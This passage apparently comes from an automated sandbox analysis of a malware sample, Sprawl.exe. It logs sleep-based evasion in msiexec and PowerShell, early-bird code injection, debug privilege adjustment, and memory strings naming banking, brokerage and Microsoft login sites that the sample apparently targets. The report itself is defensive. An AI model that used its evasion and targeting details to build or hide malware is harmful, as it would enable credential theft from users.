Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594718s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594499s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594390s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594265s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594156s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -594031s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -593922s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6880	Thread sleep count: 2558 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -599648s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6880	Thread sleep count: 7290 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -599108s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -597905s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -597796s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -597628s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -597476s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -597101s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596874s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596765s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596546s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596218s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -595015s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -594906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -594453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -594343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6104	Thread sleep time: -594234s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Sprawl.exe	File Volume queried: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian FullSizeInformation			Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	File Volume queried: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_00406033 FindFirstFileA,FindClose,	0_2_00406033
Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055D1
Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598647	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598421	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598305	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597748	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596504	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596261	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596132	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596011	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595754	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595530	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594499	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594265	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 593922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599648	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599108	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597905	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597628	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597476	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597101	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596874	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594234	Jump to behavior

Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3363263711.000000000704A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: msiexec.exe, 00000008.00000002.3362918549.00000000065D8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3362918549.000000000657A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: msiexec.exe, 00000009.00000002.3382107427.0000000023BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Sprawl.exe	API call chain: ExitProcess graph end node			graph_0-3247
Source: C:\Users\user\Desktop\Sprawl.exe	API call chain: ExitProcess graph end node			graph_0-3400

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_0B75892B rdtsc

2_2_0B75892B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_04D2DE58 LdrInitializeThunk,

2_2_04D2DE58

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EB6B mov edx, dword ptr fs:[00000030h]	2_2_0B78EB6B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EB63 mov edx, dword ptr fs:[00000030h]	2_2_0B78EB63
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EB53 mov edx, dword ptr fs:[00000030h]	2_2_0B78EB53
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EB4B mov edx, dword ptr fs:[00000030h]	2_2_0B78EB4B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EB43 mov edx, dword ptr fs:[00000030h]	2_2_0B78EB43
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EB3B mov edx, dword ptr fs:[00000030h]	2_2_0B78EB3B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EABC mov edx, dword ptr fs:[00000030h]	2_2_0B78EABC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78BFF9 mov eax, dword ptr fs:[00000030h]	2_2_0B78BFF9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EE66 mov ebx, dword ptr fs:[00000030h]	2_2_0B78EE66
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED7E mov ebx, dword ptr fs:[00000030h]	2_2_0B78ED7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED7E mov ebx, dword ptr fs:[00000030h]	2_2_0B78ED7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED7E mov ebx, dword ptr fs:[00000030h]	2_2_0B78ED7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED7E mov ebx, dword ptr fs:[00000030h]	2_2_0B78ED7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED70 mov eax, dword ptr fs:[00000030h]	2_2_0B78ED70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78B065 mov eax, dword ptr fs:[00000030h]	2_2_0B78B065
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C006 mov eax, dword ptr fs:[00000030h]	2_2_0B78C006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED7E mov ebx, dword ptr fs:[00000030h]	2_2_0B78ED7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED7E mov ebx, dword ptr fs:[00000030h]	2_2_0B78ED7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED7E mov ebx, dword ptr fs:[00000030h]	2_2_0B78ED7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78ED7E mov ebx, dword ptr fs:[00000030h]	2_2_0B78ED7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75BA18 mov ebx, dword ptr fs:[00000030h]	2_2_0B75BA18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B7642E3 mov eax, dword ptr fs:[00000030h]	2_2_0B7642E3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75BF19 mov eax, dword ptr fs:[00000030h]	2_2_0B75BF19
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B41F mov eax, dword ptr fs:[00000030h]	2_2_0B75B41F

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

